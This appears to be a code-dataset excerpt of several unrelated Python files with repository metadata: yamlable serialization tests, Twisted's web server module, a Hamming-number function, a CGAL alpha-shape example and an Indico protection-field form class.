Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str ): # type: (...) -> Y return Foo(**dct) # instantiate f = Foo(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False) assert y == """!yamlable/yaml.tests.Foo a: 1 b: hello """ # dump io class MemorizingStringIO(StringIO): """ A StringIO object that memorizes its buffer when it is closed (as opposed to the standard StringIO) """ def close(self): self.value = self.getvalue() # super(StringIO, self).close() # this does not work with python 2 old-style classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y # dump pyyaml assert dump(f, default_flow_style=False) == y # load assert f == Foo.loads_yaml(y) # load io assert f == Foo.load_yaml(StringIO(y)) # load pyyaml assert f == load(y) def test_yamlable_legacy_method_names(): """ Tests that YamlAbleMixIn works correctly """ global enc global dec enc, dec = False, False @yaml_info(yaml_tag_ns='yaml.tests') class FooLegacy(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return vars(self) == vars(other) def to_yaml_dict(self): # type: (...) -> Dict[str, Any] global enc enc = True return copy(vars(self)) @classmethod def from_yaml_dict(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str ): # type: (...) -> Y global dec dec = True return FooLegacy(**dct) # instantiate f = FooLegacy(1, 'hello') # dump y = f.dumps_yaml(default_flow_style=False) assert y == """!yamlable/yaml.tests.FooLegacy a: 1 b: hello """ # dump io class MemorizingStringIO(StringIO): """ A StringIO object that memorizes its buffer when it is closed (as opposed to the standard StringIO) """ def close(self): self.value = self.getvalue() # super(StringIO, self).close() # this does not work with python 2 old-style classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y # dump pyyaml assert dump(f, default_flow_style=False) == y # load assert f == FooLegacy.loads_yaml(y) # load io assert f == FooLegacy.load_yaml(StringIO(y)) # load pyyaml assert f == load(y) assert enc assert dec # TODO override so that tag is not supported, to check error message def test_yamlable_not_supported(): @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Err(YamlAble): # __yaml_tag_suffix__ = 'foo' not needed: we used @yaml_info def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return vars(self) == vars(other) def __to_yaml_dict__(self): # type: (...) -> Dict[str, Any] return copy(vars(self)) @classmethod def __from_yaml_dict__(cls, # type: Type[Y] dct, # type: Dict[str, Any] yaml_tag # type: str ): # type: (...) -> Y return Foo_Err(**dct) @classmethod def is_yaml_tag_supported(cls, yaml_tag # type: str ): # type: (...) -> bool # ALWAYS return false return False with pytest.raises(TypeError) as err_info: Foo_Err.loads_yaml("!yamlable/yaml.tests.Foo_Err {a: 1, b: hello}\n") assert "No YamlAble subclass found able to decode object" in str(err_info.value) def test_yamlable_default_impl(): """ tests that the default implementation works """ @yaml_info(yaml_tag_ns='yaml.tests') class Foo_Default(YamlAble): def __init__(self, a, b): self.a = a self.b = b f = Foo_Default(1, 'hello') s = """!yamlable/yaml.tests.Foo_Default a: 1 b: hello """ assert dump(f, default_flow_style=False) == s assert dump(load(dump(load(s))), default_flow_style=False) == s def test_help_yaml_info(): @yaml_info("com.example.MyFoo") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == "com.example.MyFoo" @yaml_info(yaml_tag_ns="com.example") class Foo(YamlAble): pass assert Foo.__yaml_tag_suffix__ == "com.example.Foo" assert Foo().dumps_yaml() == """!yamlable/com.example.Foo {} """ def test_abstract_parent_error(): """This tests that we can define an abstract parent class with the YamlAble behaviour and inherit it""" class AbstractFooE(YamlAble): pass class FooError(AbstractFooE): """ This class inherits from the parent without redefining a yaml tag """ def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return vars(self) == vars(other) # instantiate e = FooError(1, 'hello') # dump with pytest.raises(NotImplementedError): e.dumps_yaml() def test_abstract_parent(): """This tests that we can define an abstract parent class with the YamlAble behaviour and inherit it""" class AbstractFooV(YamlAble): pass @yaml_info(yaml_tag_ns='yaml.tests') class FooValid(AbstractFooV): def __init__(self, a, b): self.a = a self.b = b def __eq__(self, other): return vars(self) == vars(other) # instantiate f = FooValid(1, 'hello') # note: # dump y = f.dumps_yaml(default_flow_style=False) assert y == """!yamlable/yaml.tests.FooValid a: 1 b: hello """ # dump io class MemorizingStringIO(StringIO): """ A StringIO object that memorizes its buffer when it is closed (as opposed to the standard StringIO) """ def close(self): self.value = self.getvalue() # super(StringIO, self).close() # this does not work with python 2 old-style classes (StringIO is one) StringIO.close(self) s = MemorizingStringIO() f.dump_yaml(s, default_flow_style=False) assert s.value == y # dump pyyaml assert dump(f, default_flow_style=False) == y # load assert f == FooValid.loads_yaml(y) # load io assert f == FooValid.load_yaml(StringIO(y)) # load pyyaml assert f == load(y)

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null

0

null

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0

865a984bc7cd45c042cff94434fa063630359314

29,537

py

Python

src/twisted/web/server.py

vmario/twisted

34f3d8f8c6f51772eaed92a89257ea011e9a818d

[ "Unlicense", "MIT" ]

null

src/twisted/web/server.py

vmario/twisted

34f3d8f8c6f51772eaed92a89257ea011e9a818d

[ "Unlicense", "MIT" ]

null

src/twisted/web/server.py

vmario/twisted

34f3d8f8c6f51772eaed92a89257ea011e9a818d

[ "Unlicense", "MIT" ]

null

# -*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ This is a web server which integrates with the twisted.internet infrastructure. @var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations can return to indicate that the application will later call C{.write} and C{.finish} to complete the request, and that the HTTP connection should be left open. @type NOT_DONE_YET: Opaque; do not depend on any particular type for this value. """ import copy import os import re from html import escape from typing import List, Optional from urllib.parse import quote as _quote import zlib from binascii import hexlify from zope.interface import implementer from twisted.python.compat import networkString, nativeString from twisted.spread.pb import Copyable, ViewPoint from twisted.internet import address, interfaces from twisted.internet.error import AlreadyCalled, AlreadyCancelled from twisted.web import iweb, http, util from twisted.web.http import unquote from twisted.python import reflect, failure, components from twisted import copyright from twisted.web import resource from twisted.web.error import UnsupportedMethod from incremental import Version from twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger import Logger NOT_DONE_YET = 1 __all__ = [ "supportedMethods", "Request", "Session", "Site", "version", "NOT_DONE_YET", "GzipEncoderFactory", ] # backwards compatibility deprecatedModuleAttribute( Version("Twisted", 12, 1, 0), "Please use twisted.web.http.datetimeToString instead", "twisted.web.server", "date_time_string", ) deprecatedModuleAttribute( Version("Twisted", 12, 1, 0), "Please use twisted.web.http.stringToDatetime instead", "twisted.web.server", "string_date_time", ) date_time_string = http.datetimeToString string_date_time = http.stringToDatetime # Support for other methods may be implemented on a per-resource basis. supportedMethods = (b"GET", b"HEAD", b"POST") def quote(string, *args, **kwargs): return _quote(string.decode("charmap"), *args, **kwargs).encode("charmap") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return ("INET", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return ("UNIX", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): """ An HTTP request. @ivar defaultContentType: A L{bytes} giving the default I{Content-Type} value to send in responses if no other value is set. L{None} disables the default. @ivar _insecureSession: The L{Session} object representing state that will be transmitted over plain-text HTTP. @ivar _secureSession: The L{Session} object representing the state that will be transmitted only over HTTPS. """ defaultContentType = b"text/html" site = None appRootURL = None prepath: Optional[List[bytes]] = None postpath: Optional[List[bytes]] = None __pychecker__ = "unusednames=issuer" _inFakeHead = False _encoder = None _log = Logger() def __init__(self, *args, **kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x = self.__dict__.copy() del x["transport"] # XXX refactor this attribute out; it's from protocol # del x['server'] del x["channel"] del x["content"] del x["site"] self.content.seek(0, 0) x["content_data"] = self.content.read() x["remote"] = ViewPoint(issuer, self) # Address objects aren't jellyable x["host"] = _addressToTuple(x["host"]) x["client"] = _addressToTuple(x["client"]) # Header objects also aren't jellyable. x["requestHeaders"] = list(x["requestHeaders"].getAllRawHeaders()) return x # HTML generation helpers def sibLink(self, name): """ Return the text that links to a sibling of the requested resource. @param name: The sibling resource @type name: C{bytes} @return: A relative URL. @rtype: C{bytes} """ if self.postpath: return (len(self.postpath) * b"../") + name else: return name def childLink(self, name): """ Return the text that links to a child of the requested resource. @param name: The child resource @type name: C{bytes} @return: A relative URL. @rtype: C{bytes} """ lpp = len(self.postpath) if lpp > 1: return ((lpp - 1) * b"../") + name elif lpp == 1: return name else: # lpp == 0 if len(self.prepath) and self.prepath[-1]: return self.prepath[-1] + b"/" + name else: return name def gotLength(self, length): """ Called when HTTP channel got length of content in this request. This method is not intended for users. @param length: The length of the request body, as indicated by the request headers. L{None} if the request headers do not indicate a length. """ try: getContentFile = self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length) else: self.content = getContentFile(length) def process(self): """ Process a request. Find the addressed resource in this request's L{Site}, and call L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()} """ # get site from channel self.site = self.channel.site # set various default headers self.setHeader(b"server", version) self.setHeader(b"date", http.datetimeToString()) # Resource Identification self.prepath = [] self.postpath = list(map(unquote, self.path[1:].split(b"/"))) # Short-circuit for requests whose path is '*'. if self.path == b"*": self._handleStar() return try: resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if encoder is not None: self._encoder = encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def write(self, data): """ Write data to the transport (if not responding to a HEAD request). @param data: A string to write to the response. @type data: L{bytes} """ if not self.startedWriting: # Before doing the first write, check to see if a default # Content-Type header should be supplied. We omit it on # NOT_MODIFIED and NO_CONTENT responses. We also omit it if there # is a Content-Length header set to 0, as empty bodies don't need # a content-type. needsCT = self.code not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b"content-type") contentLength = self.responseHeaders.getRawHeaders(b"content-length") contentLengthZero = contentLength and (contentLength[0] == b"0") if ( needsCT and contentType is None and self.defaultContentType is not None and not contentLengthZero ): self.responseHeaders.setRawHeaders( b"content-type", [self.defaultContentType] ) # Only let the write happen if we're not generating a HEAD response by # faking out the request method. Note, if we are doing that, # startedWriting will never be true, and the above logic may run # multiple times. It will only actually change the responseHeaders # once though, so it's still okay. if not self._inFakeHead: if self._encoder: data = self._encoder.encode(data) http.Request.write(self, data) def finish(self): """ Override C{http.Request.finish} for possible encoding. """ if self._encoder: data = self._encoder.finish() if data: http.Request.write(self, data) return http.Request.finish(self) def render(self, resrc): """ Ask a resource to render itself. If the resource does not support the requested method, generate a C{NOT IMPLEMENTED} or C{NOT ALLOWED} response. @param resrc: The resource to render. @type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} """ try: body = resrc.render(self) except UnsupportedMethod as e: allowedMethods = e.allowedMethods if (self.method == b"HEAD") and (b"GET" in allowedMethods): # We must support HEAD (RFC 2616, 5.1.1). If the # resource doesn't, fake it by giving the resource # a 'GET' request and then return only the headers, # not the body. self._log.info( "Using GET to fake a HEAD request for {resrc}", resrc=resrc ) self.method = b"GET" self._inFakeHead = True body = resrc.render(self) if body is NOT_DONE_YET: self._log.info( "Tried to fake a HEAD request for {resrc}, but " "it got away from me.", resrc=resrc, ) # Oh well, I guess we won't include the content length. else: self.setHeader(b"content-length", b"%d" % (len(body),)) self._inFakeHead = False self.method = b"HEAD" self.write(b"") self.finish() return if self.method in (supportedMethods): # We MUST include an Allow header # (RFC 2616, 10.4.6 and 14.7) self.setHeader(b"Allow", b", ".join(allowedMethods)) s = ( """Your browser approached me (at %(URI)s) with""" """ the method "%(method)s". I only allow""" """ the method%(plural)s %(allowed)s here.""" % { "URI": escape(nativeString(self.uri)), "method": nativeString(self.method), "plural": ((len(allowedMethods) > 1) and "s") or "", "allowed": ", ".join([nativeString(x) for x in allowedMethods]), } ) epage = resource.ErrorPage(http.NOT_ALLOWED, "Method Not Allowed", s) body = epage.render(self) else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED, "Huh?", "I don't know how to treat a %s request." % (escape(self.method.decode("charmap")),), ) body = epage.render(self) # end except UnsupportedMethod if body is NOT_DONE_YET: return if not isinstance(body, bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, "Request did not return bytes", "Request: " + util._PRE(reflect.safe_repr(self)) + " " + "Resource: " + util._PRE(reflect.safe_repr(resrc)) + " " + "Value: " + util._PRE(reflect.safe_repr(body)), ).render(self) if self.method == b"HEAD": if len(body) > 0: # This is a Bad Thing (RFC 2616, 9.4) self._log.info( "Warning: HEAD request {slf} for resource {resrc} is" " returning a message body. I think I'll eat it.", slf=self, resrc=resrc, ) self.setHeader(b"content-length", b"%d" % (len(body),)) self.write(b"") else: self.setHeader(b"content-length", b"%d" % (len(body),)) self.write(body) self.finish() def processingFailed(self, reason): """ Finish this request with an indication that processing failed and possibly display a traceback. @param reason: Reason this request has failed. @type reason: L{twisted.python.failure.Failure} @return: The reason passed to this method. @rtype: L{twisted.python.failure.Failure} """ self._log.failure("", failure=reason) if self.site.displayTracebacks: body = ( b"<html><head><title>web.Server Traceback" b" (most recent call last)</title></head>" b"<body>web.Server Traceback" b" (most recent call last):\n\n" + util.formatFailure(reason) + b"\n\n</body></html>\n" ) else: body = ( b"<html><head><title>Processing Failed" b"</title></head><body>" b"Processing Failed</body></html>" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b"content-type", b"text/html") self.setHeader(b"content-length", b"%d" % (len(body),)) self.write(body) self.finish() return reason def view_write(self, issuer, data): """Remote version of write; same interface.""" self.write(data) def view_finish(self, issuer): """Remote version of finish; same interface.""" self.finish() def view_addCookie(self, issuer, k, v, **kwargs): """Remote version of addCookie; same interface.""" self.addCookie(k, v, **kwargs) def view_setHeader(self, issuer, k, v): """Remote version of setHeader; same interface.""" self.setHeader(k, v) def view_setLastModified(self, issuer, when): """Remote version of setLastModified; same interface.""" self.setLastModified(when) def view_setETag(self, issuer, tag): """Remote version of setETag; same interface.""" self.setETag(tag) def view_setResponseCode(self, issuer, code, message=None): """ Remote version of setResponseCode; same interface. """ self.setResponseCode(code, message) def view_registerProducer(self, issuer, producer, streaming): """Remote version of registerProducer; same interface. (requires a remote producer.) """ self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer() ### these calls remain local _secureSession = None _insecureSession = None @property def session(self): """ If a session has already been created or looked up with L{Request.getSession}, this will return that object. (This will always be the session that matches the security of the request; so if C{forceNotSecure} is used on a secure request, this will not return that session.) @return: the session attribute @rtype: L{Session} or L{None} """ if self.isSecure(): return self._secureSession else: return self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False): """ Check if there is a session cookie, and if not, create it. By default, the cookie with be secure for HTTPS requests and not secure for HTTP requests. If for some reason you need access to the insecure cookie from a secure request you can set C{forceNotSecure = True}. @param forceNotSecure: Should we retrieve a session that will be transmitted over HTTP, even if this L{Request} was delivered over HTTPS? @type forceNotSecure: L{bool} """ # Make sure we aren't creating a secure session on a non-secure page secure = self.isSecure() and not forceNotSecure if not secure: cookieString = b"TWISTED_SESSION" sessionAttribute = "_insecureSession" else: cookieString = b"TWISTED_SECURE_SESSION" sessionAttribute = "_secureSession" session = getattr(self, sessionAttribute) if session is not None: # We have a previously created session. try: # Refresh the session, to keep it alive. session.touch() except (AlreadyCalled, AlreadyCancelled): # Session has already expired. session = None if session is None: # No session was created yet for this request. cookiename = b"_".join([cookieString] + self.sitepath) sessionCookie = self.getCookie(cookiename) if sessionCookie: try: session = self.site.getSession(sessionCookie) except KeyError: pass # if it still hasn't been set, fix it up. if not session: session = self.site.makeSession() self.addCookie(cookiename, session.uid, path=b"/", secure=secure) setattr(self, sessionAttribute, session) if sessionInterface: return session.getComponent(sessionInterface) return session def _prePathURL(self, prepath): port = self.getHost().port if self.isSecure(): default = 443 else: default = 80 if port == default: hostport = "" else: hostport = ":%d" % port prefix = networkString( "http%s://%s%s/" % ( self.isSecure() and "s" or "", nativeString(self.getRequestHostname()), hostport, ) ) path = b"/".join([quote(segment, safe=b"") for segment in prepath]) return prefix + path def prePathURL(self): return self._prePathURL(self.prepath) def URLPath(self): from twisted.python import urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): """ Remember the currently-processed part of the URL for later recalling. """ url = self._prePathURL(self.prepath[:-1]) self.appRootURL = url def getRootURL(self): """ Get a previously-remembered URL. @return: An absolute URL. @rtype: L{bytes} """ return self.appRootURL def _handleStar(self): """ Handle receiving a request whose path is '*'. RFC 7231 defines an OPTIONS * request as being something that a client can send as a low-effort way to probe server capabilities or readiness. Rather than bother the user with this, we simply fast-path it back to an empty 200 OK. Any non-OPTIONS verb gets a 405 Method Not Allowed telling the client they can only use OPTIONS. """ if self.method == b"OPTIONS": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b"Allow", b"OPTIONS") # RFC 7231 says we MUST set content-length 0 when responding to this # with no body. self.setHeader(b"Content-Length", b"0") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: """ @cvar compressLevel: The compression level used by the compressor, default to 9 (highest). @since: 12.3 """ _gzipCheckRegex = re.compile(br"(:?^|[\s,])gzip(:?$|[\s,])") compressLevel = 9 def encoderForRequest(self, request): """ Check the headers if the client accepts gzip encoding, and encodes the request if so. """ acceptHeaders = b",".join( request.requestHeaders.getRawHeaders(b"accept-encoding", []) ) if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b"content-encoding") if encoding: encoding = b",".join(encoding + [b"gzip"]) else: encoding = b"gzip" request.responseHeaders.setRawHeaders(b"content-encoding", [encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: """ An encoder which supports gzip. @ivar _zlibCompressor: The zlib compressor instance used to compress the stream. @ivar _request: A reference to the originating request. @since: 12.3 """ _zlibCompressor = None def __init__(self, compressLevel, request): self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED, 16 + zlib.MAX_WBITS ) self._request = request def encode(self, data): """ Write to the request, automatically compressing data on the fly. """ if not self._request.startedWriting: # Remove the content-length header, we can't honor it # because we compress on the fly. self._request.responseHeaders.removeHeader(b"content-length") return self._zlibCompressor.compress(data) def finish(self): """ Finish handling the request request, flushing any data from the zlib buffer. """ remain = self._zlibCompressor.flush() self._zlibCompressor = None return remain class _RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing = remote.remoteMethod("resumeProducing") self.pauseProducing = remote.remoteMethod("pauseProducing") self.stopProducing = remote.remoteMethod("stopProducing") class Session(components.Componentized): """ A user's session with a system. This utility class contains no functionality, but is used to represent a session. @ivar site: The L{Site} that generated the session. @type site: L{Site} @ivar uid: A unique identifier for the session. @type uid: L{bytes} @ivar _reactor: An object providing L{IReactorTime} to use for scheduling expiration. @ivar sessionTimeout: Time after last modification the session will expire, in seconds. @type sessionTimeout: L{float} @ivar lastModified: Time the C{touch()} method was last called (or time the session was created). A UNIX timestamp as returned by L{IReactorTime.seconds()}. @type lastModified: L{float} """ sessionTimeout = 900 _expireCall = None def __init__(self, site, uid, reactor=None): """ Initialize a session with a unique ID for that session. @param reactor: L{IReactorTime} used to schedule expiration of the session. If C{None}, the reactor associated with I{site} is used. """ super().__init__() if reactor is None: reactor = site.reactor self._reactor = reactor self.site = site self.uid = uid self.expireCallbacks = [] self.touch() self.sessionNamespaces = {} def startCheckingExpiration(self): """ Start expiration tracking. @return: L{None} """ self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback): """ Call this callback when the session expires or logs out. """ self.expireCallbacks.append(callback) def expire(self): """ Expire/logout of the session. """ del self.site.sessions[self.uid] for c in self.expireCallbacks: c() self.expireCallbacks = [] if self._expireCall and self._expireCall.active(): self._expireCall.cancel() # Break reference cycle. self._expireCall = None def touch(self): """ Mark the session as modified, which resets expiration timer. """ self.lastModified = self._reactor.seconds() if self._expireCall is not None: self._expireCall.reset(self.sessionTimeout) version = networkString(f"TwistedWeb/{copyright.version}") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): """ A web site: manage log, sessions, and resources. @ivar requestFactory: A factory which is called with (channel) and creates L{Request} instances. Default to L{Request}. @ivar displayTracebacks: If set, unhandled exceptions raised during rendering are returned to the client as HTML. Default to C{False}. @ivar sessionFactory: factory for sessions objects. Default to L{Session}. @ivar sessions: Mapping of session IDs to objects returned by C{sessionFactory}. @type sessions: L{dict} mapping L{bytes} to L{Session} given the default C{sessionFactory} @ivar counter: The number of sessions that have been generated. @type counter: L{int} @ivar sessionCheckTime: Deprecated and unused. See L{Session.sessionTimeout} instead. """ counter = 0 requestFactory = Request displayTracebacks = False sessionFactory = Session sessionCheckTime = 1800 _entropy = os.urandom def __init__(self, resource, requestFactory=None, *args, **kwargs): """ @param resource: The root of the resource hierarchy. All request traversal for requests received by this factory will begin at this resource. @type resource: L{IResource} provider @param requestFactory: Overwrite for default requestFactory. @type requestFactory: C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} """ super().__init__(*args, **kwargs) self.sessions = {} self.resource = resource if requestFactory is not None: self.requestFactory = requestFactory def _openLogFile(self, path): from twisted.python import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d = self.__dict__.copy() d["sessions"] = {} return d def _mkuid(self): """ (internal) Generate an opaque, unique ID for a user's session. """ self.counter = self.counter + 1 return hexlify(self._entropy(32)) def makeSession(self): """ Generate a new Session instance, and store it for future reference. """ uid = self._mkuid() session = self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration() return session def getSession(self, uid): """ Get a previously generated session. @param uid: Unique ID of the session. @type uid: L{bytes}. @raise KeyError: If the session is not found. """ return self.sessions[uid] def buildProtocol(self, addr): """ Generate a channel attached to this site. """ channel = super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site = self return channel isLeaf = 0 def render(self, request): """ Redirect because a Site is always a directory. """ request.redirect(request.prePathURL() + b"/") request.finish() def getChildWithDefault(self, pathEl, request): """ Emulate a resource's getChild method. """ request.site = self return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request): """ Get a resource for a request. This iterates through the resource hierarchy, calling getChildWithDefault on each resource it finds for a path element, stopping when it hits an element where isLeaf is true. """ request.site = self # Sitepath is used to determine cookie names between distributed # servers and disconnected sites. request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def acceptableProtocols(self): """ Protocols this server can speak. """ baseProtocols = [b"http/1.1"] if http.H2_ENABLED: baseProtocols.insert(0, b"h2") return baseProtocols

32.601545

88

0.593561

3,276

29,537

5.295788

0.213065

0.008877

0.00807

0.007263

0.090783

0.055969

0.040636

0.03372

0.029454

0.02565

0

0.004778

0.312693

29,537

905

89

32.637569

0.84981

0.317026

0

0.161572

0

0.081838

0.013387

0

1

0.10917

false

0.002183

0.052402

0.004367

0.303493

0

null

0

null

0

1

0

865af347d7d59f9bd67eb9dbfa07a221fbd308e5

554

py

Python

Pset/hamming_numbers.py

MarkHershey/python-learning

8d6c87941af6db5878b59483526ed402f4b319b3

[ "MIT" ]

9

2020-06-05T17:01:23.000Z

2022-03-16T19:55:50.000Z

Pset/hamming_numbers.py

MarkHershey/python-learning

8d6c87941af6db5878b59483526ed402f4b319b3

[ "MIT" ]

null

Pset/hamming_numbers.py

MarkHershey/python-learning

8d6c87941af6db5878b59483526ed402f4b319b3

[ "MIT" ]

null

def hamming(n): """Returns the nth hamming number""" hamming = {1} x = 1 while len(hamming) <= n * 3.5: new_hamming = {1} for i in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i * 5) # merge new number into hamming set hamming = hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n - 1] print(hamming(970)) # hamming(968) should be 41943040 # hamming(969) should be 41990400 # hamming(970) should be 42187500

24.086957

44

0.592058

77

554

4.194805

0.454545

0.154799

0.120743

0.130031

0

0.115385

0.296029

554

22

45

25.181818

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0

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0.076923

false

0

0.153846

0.076923

0

null

0

null

0

1

0

865bbf72a785e72699020e27186c8a54194bf255

1,615

py

Python

examples/python/test_as2.py

sloriot/cgal-swig-bindings

c9c5afdf64fa0c52f9c3785173159167ab2b3163

[ "BSL-1.0" ]

null

examples/python/test_as2.py

sloriot/cgal-swig-bindings

c9c5afdf64fa0c52f9c3785173159167ab2b3163

[ "BSL-1.0" ]

null

examples/python/test_as2.py

sloriot/cgal-swig-bindings

c9c5afdf64fa0c52f9c3785173159167ab2b3163

[ "BSL-1.0" ]

null

from CGAL.CGAL_Kernel import Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d in t.alpha(): print(d) for v in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if type == INTERIOR: print("INTERIOR") elif type == SINGULAR: print("SINGULAR") elif type == REGULAR: print("REGULAR") elif type == EXTERIOR: print("EXTERIOR") for f in t.finite_faces(): i = f.get_ranges(0) print(i.first) print(i.second) print(i.third) was = Weighted_alpha_shape_2() lst_wp = [] lst_wp.append(Weighted_point_2(Point_2(0, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(0, 4), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 0), 1)) lst_wp.append(Weighted_point_2(Point_2(44, 5), 1)) lst_wp.append(Weighted_point_2(Point_2(444, 51), 1)) lst_wp.append(Weighted_point_2(Point_2(14, 1), 1)) was.make_alpha_shape(lst_wp)

26.47541

82

0.740557

293

1,615

3.764505

0.187713

0.108794

0.149592

0.107888

0.595648

0.453309

0.446963

0.359021

0

0.059626

0.138081

1,615

60

83

26.916667

0.732759

0

0.019195

0

1

0

false

0

0.191489

0

0.191489

0

null

0

null

0

1

0

865fa048751d6ad0bc743581cad5200b3338324d

2,192

py

Python

indico/web/forms/fields/protection.py

jgrigera/indico

b5538f2755bc38a02313d079bac831ee3dfb44ab

[ "MIT" ]

1

2018-11-12T21:29:26.000Z

indico/web/forms/fields/protection.py

jgrigera/indico

b5538f2755bc38a02313d079bac831ee3dfb44ab

[ "MIT" ]

9

2020-09-08T09:25:57.000Z

2022-01-13T02:59:05.000Z

indico/web/forms/fields/protection.py

jgrigera/indico

b5538f2755bc38a02313d079bac831ee3dfb44ab

[ "MIT" ]

3

2020-07-20T09:09:44.000Z

2020-10-19T00:29:49.000Z

# This file is part of Indico. # Copyright (C) 2002 - 2020 CERN # # Indico is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see the # LICENSE file for more details. from __future__ import absolute_import, unicode_literals from flask import render_template from markupsafe import Markup from indico.core.db import db from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import _ from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) get_acl_message_url = kwargs.pop('acl_message_url', None) self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent is not None if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type = _('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object, parent_type=parent_type, non_inheriting_objects=non_inheriting_objects) return Markup(rv)

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0.181113

2,192

47

112

46.638298

0.845682

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0.411765

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null

0

null

0

1

0

866094a72b6fdcd5bf322c232acd28e290c2c5aa

3,096

py

Python

solver.py

jacobchh/Sudoku-Solver

946a954e8eda234760872c55fcd2354dc0a8a4f9

[ "Apache-2.0" ]

1

2020-08-04T05:11:05.000Z

solver.py

jacobchh/Sudoku-Solver

946a954e8eda234760872c55fcd2354dc0a8a4f9

[ "Apache-2.0" ]

null

solver.py

jacobchh/Sudoku-Solver

946a954e8eda234760872c55fcd2354dc0a8a4f9

[ "Apache-2.0" ]

null

